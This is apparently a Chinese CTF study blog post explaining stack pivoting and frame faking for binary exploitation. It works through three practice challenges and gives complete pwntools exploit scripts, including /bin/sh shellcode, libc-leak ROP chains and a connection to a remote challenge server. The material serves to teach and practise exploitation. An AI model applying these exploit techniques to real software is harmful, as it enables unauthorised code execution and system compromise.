【PWN笔记】栈迁移

stack pivoting

原理

参考链接

技巧就是劫持栈指针指向攻击者所能控制的内存处,然后再在相应的位置进行 ROP。一般来说,我们可能在以下情况需要使用 stack pivoting

  • 可以控制的栈溢出的字节数较少,难以构造较长的 ROP 链

  • 开启了 PIE 保护,栈地址未知,我们可以将栈劫持到已知的区域。

  • 其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写 rop 及进行堆漏洞利用

此外,利用 stack pivoting 有以下几个要求

  • 可以控制程序执行流。

  • 可以控制 sp 指针

ret返回前 esp的位置:

|------------栈变量----------|----ebp----|------返回地址------|函数形参|
                                        ^
                                        |
                                       esp指向这个位置

ret返回后 esp的位置

---->栈内存由低向高方向----->
|------------栈变量----------|----ebp----|------返回地址------|函数形参|
                                                            ^
                                                            |
                                                           esp指向这个位置

当Eip在后续执行过程中,遇到了jmp esp指令,仍会回到上图中esp指向的函数形参位置执行

jmp esp跳转 编写shellcode

题目:RSCTF2019 PWN3

Decription


保护:

[*] '/root/temp/stack povrit/pwn5'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

源码:

int pwn()
{
  char s[24]; // [esp+8h] [ebp-20h]

  puts("\nHey! ^_^");
  puts("\nIt's nice to meet you");
  puts("\nDo you have anything to tell?");
  puts(">");
  fflush(stdout);
  fgets(s, 50, stdin);
  puts("OK bye~");
  fflush(stdout);
  return 1;
}

hint:

__unwind {
.text:08048551                 push    ebp
.text:08048552                 mov     ebp, esp
.text:08048554                 jmp     esp
.text:08048554 hint            endp

Solution


栈溢出高度不够,nx保护没开,想到可以控制eip指针,跳转执行shellcode,题目甚至直接给出了gadgetsjmp esp

源程序存在栈溢出漏洞。但是其所能溢出的字节就只有 50-0x20-4=14 个字节,所以我们很难执行一些比较好的 ROP。这里我们就考虑 stack pivoting 。由于程序本身并没有开启堆栈保护,所以我们可以在栈上布置shellcode 并执行。基本利用思路如下

  • 利用栈溢出布置 shellcode

  • 控制 eip 指向 shellcode处

第一步,还是比较容易地,直接读取即可,但是由于程序本身会开启 ASLR 保护,所以我们很难直接知道shellcode 的地址。但是栈上相对偏移是固定的,所以我们可以利用栈溢出对 esp 进行操作,使其指向 shellcode处,并且直接控制程序跳转至 esp处。那下面就是找控制程序跳转到 esp 处的 gadgets 了。

# root @ pearcepwn in ~/temp/stack povrit [14:29:27] 
$ ROPgadget --binary pwn5 --only 'jmp|ret' 
Gadgets information
============================================================
0x08048554 : jmp esp
0x08048342 : ret
0x0804843e : ret 0xeac1
0x080484ca : ret 0xfffe

发现有一个可以直接跳转到 esp 的 gadgets。那么我们可以布置 payload 如下

shellcode | padding | fake ebp | 0x08048504 |set esp point to shellcode and jmp esp

那么我们 payload 中的最后一部分改如何设置 esp 呢,可以知道

  • size(shellcode+padding)=0x20

  • size(fake ebp)=0x4

  • size(0x08048504)=0x4

所以我们最后一段需要执行的指令就是

sub 0x28,esp
jmp esp

EXP


#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 0
context(log_level="debug", arch="i386", os="linux")
if debug == 1:
    p = process('./pwn5')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elif debug == 0:
    p = remote('117.139.247.14', 9337)
    # libc = ELF('./', checksec=False)
elf = ELF('./pwn5', checksec=False)

# gdb.attach(p, "b *0x08048550\nc")
shellcode_x86 = "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

pd = shellcode_x86
pd = pd.ljust(0x24, '\x00')
pd += p32(0x08048554)
pd += asm("sub esp,0x28;jmp esp;")
p.sendlineafter('>\n', pd)
p.interactive()

frame faking

原理

概括地讲,我们在之前讲的栈溢出不外乎两种方式

  • 控制程序 EIP

  • 控制程序 EBP

其最终都是控制程序的执行流。在 frame faking 中,我们所利用的技巧便是同时控制 EBP 与 EIP,这样我们在控制程序执行流的同时,也改变程序栈帧的位置。一般来说其 payload 如下

buffer padding|fake ebp|leave ret addr|

即我们利用栈溢出将栈上构造为如上格式。这里我们主要讲下后面两个部分

  • 函数的返回地址被我们覆盖为执行 leave ret 的地址,这就表明了函数在正常执行完自己的 leave ret 后,还会再次执行一次 leave ret。

  • 其中 fake ebp 为我们构造的栈帧的基地址,需要注意的是这里是一个地址。一般来说我们构造的假的栈帧如下

fake ebp
|
v
ebp2|target function addr|leave ret addr|arg1|arg2

这里我们的 fake ebp 指向 ebp2,即它为 ebp2 所在的地址。通常来说,这里都是我们能够控制的可读的内容。

下面的汇编语法是 intel 语法。

在我们介绍基本的控制过程之前,我们还是有必要说一下,函数的入口点与出口点的基本操作

入口点

push ebp  # 将ebp压栈
mov ebp, esp #将esp的值赋给ebp

出口点

leave
ret #pop eip,弹出栈顶元素作为程序下一个执行地址

其中 leave 指令相当于

mov esp, ebp # 将ebp的值赋给esp
pop ebp # 弹出ebp
leave ==> mov esp, ebp;  pop ebp;
ret   ==> pop eip

下面我们来仔细说一下基本的控制过程。

  1. 在有栈溢出的程序执行 leave 时,其分为两个步骤

    • mov esp, ebp ,这会将 esp 也指向当前栈溢出漏洞的 ebp 基地址处。

    • pop ebp, 这会将栈中存放的 fake ebp 的值赋给 ebp。即执行完指令之后,ebp 便指向了 ebp2,也就是保存了 ebp2 所在的地址。

  2. 执行 ret 指令,会再次执行 leave ret 指令。

  3. 执行 leave 指令,其分为两个步骤

    • mov esp, ebp ,这会将 esp 指向 ebp2。

    • pop ebp,此时,会将 ebp 的内容设置为 ebp2 的值,同时 esp 会指向 target function。

  4. 执行 ret 指令,这时候程序就会执行 target function,当其进行程序的时候会执行

    • push ebp,会将 ebp2 值压入栈中,

    • mov ebp, esp,将 ebp 指向当前基地址。

此时的栈结构如下

ebp
|
v
ebp2|leave ret addr|arg1|arg2
  1. 当程序执行时,其会正常申请空间,同时我们在栈上也安排了该函数对应的参数,所以程序会正常执行。

  2. 程序结束后,其又会执行两次 leave ret addr,所以如果我们在 ebp2 处布置好了对应的内容,那么我们就可以一直控制程序的执行流程。

可以看出在 fake frame 中,我们有一个需求就是,我们必须得有一块可以写的内存,并且我们还知道这块内存的地址,这一点与 stack pivoting 相似。

图示

参考链接

总结

payload设置 此种攻击方法的关键在于如何同时控制ebp和eip,那么如何同时控制ebp和eip的值的?

1、使用ROPgadget查找leave;ret指令所在的地址

2、覆盖完成bufer后,使用可控制的地址覆盖ebp的值,使用上述leave;ret指令所在地址覆盖ret的值。

程序运行(32位,64位同理):

1、当函数正常返回时,执行leave;ret指令(此处非执行我们覆盖的ret指令)

2、mov esp,ebp;将ebp的值赋给esp,此时esp和ebp同时指向ebp基址处,也就是我们设置的可控制的fake ebp值处。

3、pop ebp,弹出栈顶,也就是ebp的基址,这时会将我们设置的虚假的ebp值赋给ebp寄存器,同时esp+4上移

4、执行ret指令,ret指令相当于pop eip;此时栈顶为我们使用ROPgadget查找的leave;ret指令的地址。将这个地址弹出,赋给eip寄存器。esp+4上移

5、执行eip寄存器中的指令,leave指令;

6、mov esp,ebp;将ebp的值赋给esp,此时ebp寄存器中保存的值为我们设置的虚假的可控的地址,于是esp指向来了该可控地址 7、pop ebp;栈顶弹出赋给ebp,相当于该可控地址的第一个4位地址内容弹出,赋给ebp,可以设置4个a来padding,esp+4上行。 8、执行ret,我们一般将此时esp指向的地址设为目标函数地址,就可执行目标函数了。

32位例题

buuctf的[Black Watch 入群题]PWN 52

Decription


保护:

[*] '/root/pwn/black watch/spwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

源码:

ssize_t vul_function()
{
  size_t v0; // eax
  size_t v1; // eax
  char buf; // [esp+0h] [ebp-18h]

  v0 = strlen(m1);
  write(1, m1, v0);
  read(0, &s, 0x200u);
  v1 = strlen(m2);
  write(1, m2, v1);
  return read(0, &buf, 0x20u);
}

m 1 ,m2变量:

.data:0804A080 ; char m1[]
.data:0804A080 m1              db 'Hello good Ctfer!',0Ah
.data:0804A080                                         ; DATA XREF: vul_function+9↑o
.data:0804A080                                         ; vul_function+1A↑o
.data:0804A080                 db 'What is your name?',0
.data:0804A0A5                 align 4
.data:0804A0A8                 public m2
.data:0804A0A8 ; char m2[]
.data:0804A0A8 m2              db 'What do you want to say?',0
.data:0804A0A8                                         ; DATA XREF: vul_function+43↑o
.data:0804A0A8                                         ; vul_function+54↑o
.data:0804A0A8 _data           ends

Solution


两个read函数,第一个s在bss段,可以将数据读入bss段,第二个buf在栈上,可以覆盖返回地址,但是溢出后空间不够哇,所以要将栈迁移到bss段 ,比较特殊,可以直接在bss段写值

EXP


#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from easyLibc import *

debug = 1
context(log_level="debug", arch="i386", os="linux")
if debug == 1:
    p = process('./spwn')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elif debug == 0:
    p = remote('node3.buuoj.cn', 27377)
    # libc = ELF('./', checksec=False)
elf = ELF('./spwn', checksec=False)

gdb.attach(p ,"b *0x08048408\nc")

addr_bss = 0x0804A300
leave_ret = 0x08048408 #: leave ; ret   ROPgadget --binary spwn --only 'leave|ret'
write_plt =elf.plt['write']
write_got =elf.got['write']
addr_main =elf.symbols['main']

pd = p32(write_plt) + p32(addr_main) + p32(1) + p32(write_got) + p32(4)
#栈迁移过来后 执行write函数 write后返回main函数 write的三个参数
p.sendafter("What is your name?",pd)

pd='a'*0x18+p32(addr_bss-4)+p32(leave_ret)
#由于已经在bss段写入数据,最后pop ebp会使得esp+4,所以要让esp指到addr_bss,需要返回到addr_bss-4
p.sendafter("say?",pd)
addr_write = u32(p.recv(4))
libc = easyLibc('write',addr_write)
libc_base = addr_write -libc.dump('write')

system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
pd = p32(system_addr) + p32(addr_main) + p32(binsh_addr)
#在bss断写入system('bin/sh')
p.sendafter("What is your name?",pd)

pd='a'*0x18+p32(addr_bss-4)+p32(leave_ret)#提权
p.sendafter("say?",pd)
p.interactive()

64位例题

2018安恒杯6月 over

Decription


保护:

[*] '/root/CTF/Pwn/over/over.over'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

源码:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  while ( sub_400676() )
    ;
  return 0LL;
}

函数sub_400676():

int sub_400676()
{
  char buf; // [rsp+0h] [rbp-50h]

  memset(&buf, 0, 0x50uLL);
  putchar(62);
  read(0, &buf, 0x60uLL);
  return puts(&buf);
}

Solution


漏洞很明显, read 能读入 96 位, 但 buf 的长度只有 80, 因此能覆盖 rbp 以及 ret addr 但也只能覆盖到 rbp 和 ret addr, 因此也只能通过同时控制 rbp 以及 ret addr 来进行 rop 了

为了控制 rbp, 我们需要知道某些地址, 可以发现当输入的长度为 80 时, 由于 read 并不会给输入末尾补上 '\0', rbp 的值就会被 puts 打印出来, 这样我们就可以通过固定偏移知道栈上所有位置的地址了

Breakpoint 1, 0x00000000004006b9 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────
 RAX  0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000')
 RBX  0x0
 RCX  0x7ff756e9b690 (__read_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x60
 RDI  0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000')
 RSI  0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000')
 R8   0x7ff75715b760 (_IO_stdfile_1_lock) ◂— 0x0
 R9   0x7ff757354700 ◂— 0x7ff757354700
 R10  0x37b
 R11  0x246
 R12  0x400580 ◂— xor    ebp, ebp
 R13  0x7ffceaf112b0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7ffceaf111b0 —▸ 0x7ffceaf111d0 —▸ 0x400730 ◂— push   r15
 RSP  0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000')
 RIP  0x4006b9 ◂— call   0x400530
─────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────
 ► 0x4006b9    call   puts@plt <0x400530>
        s: 0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000')

   0x4006be    leave
   0x4006bf    ret

   0x4006c0    push   rbp
   0x4006c1    mov    rbp, rsp
   0x4006c4    sub    rsp, 0x10
   0x4006c8    mov    dword ptr [rbp - 4], edi
   0x4006cb    mov    qword ptr [rbp - 0x10], rsi
   0x4006cf    mov    rax, qword ptr [rip + 0x20098a] <0x601060>
   0x4006d6    mov    ecx, 0
   0x4006db    mov    edx, 2
─────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────
00:0000│ rax rdi rsi rsp  0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000')
... ↓
───────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────
 ► f 0           4006b9
   f 1           400715
   f 2     7ff756de02b1 __libc_start_main+241
Breakpoint *0x4006B9
pwndbg> stack 15
00:0000│ rax rdi rsi rsp  0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000')
... ↓
0a:0050│ rbp              0x7ffceaf111b0 —▸ 0x7ffceaf111d0 —▸ 0x400730 ◂— push   r15
0b:0058│                  0x7ffceaf111b8 —▸ 0x400715 ◂— test   eax, eax
0c:0060│                  0x7ffceaf111c0 —▸ 0x7ffceaf112b8 —▸ 0x7ffceaf133db ◂— './over.over'
0d:0068│                  0x7ffceaf111c8 ◂— 0x100000000
0e:0070│                  0x7ffceaf111d0 —▸ 0x400730 ◂— push   r15
pwndbg> distance 0x7ffceaf111d0 0x7ffceaf11160
0x7ffceaf111d0->0x7ffceaf11160 is -0x70 bytes (-0xe words)

EXP


#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(log_level="debug", arch="amd64", os="linux")
p = process('./over.over')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./over.over',checksec=False)
leave_ret = 0x00000000004006be #: leave ; ret
pop_rdi = 0x0000000000400793 #: pop rdi ; ret
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

#gdb.attach(p,'b *0x4006B9\nc')
gdb.attach(p,'b *0x04006be\nc')

pd = 0x50*'a'
p.sendafter(">",pd)
stack = u64(p.recvuntil('\x7f')[-6: ].ljust(8,'\x00'))-0x70
#泄露栈的地址,动态调试出0x70
success('stack = ' + hex(stack))

pd = 'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(0x400676) 
pd += 40*'a' #执行rop链接,泄露libc
pd += p64(stack)
pd += p64(leave_ret)
p.sendafter(">",pd)

addr_puts = u64(p.recvuntil('\x7f')[-6: ].ljust(8,'\x00'))
libcbase = addr_puts - libc.sym['puts']
addr_sys = libcbase + libc.sym['system']
addr_binsh = libcbase + libc.search('/bin/sh').next()
success('libcbase = ' + hex(libcbase))
success('addr_puts = ' + hex(addr_puts))
success('addr_sys = ' + hex(addr_sys))
success('addr_binsh = ' + hex(addr_binsh))

pd = 8*'a' + p64(pop_rdi) + p64(addr_binsh) + p64(addr_sys) + p64(0xdeadbeaf)
pd += 40*'a' 
pd += p64(stack-0x30)#提权的rop链被写入stack-0x30,动态调试得出,set $rsp = 当前值 - 0x100
#算出rop链地址与stack的偏移
pd += p64(leave_ret)
p.sendafter(">",pd)
p.interactive()

评论

  1. Nitw1t
    4月前
    2020-11-04 21:27:40

    tql懂了懂了

  2. Nitw1t
    4月前
    2020-10-25 14:52:25

    tql

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇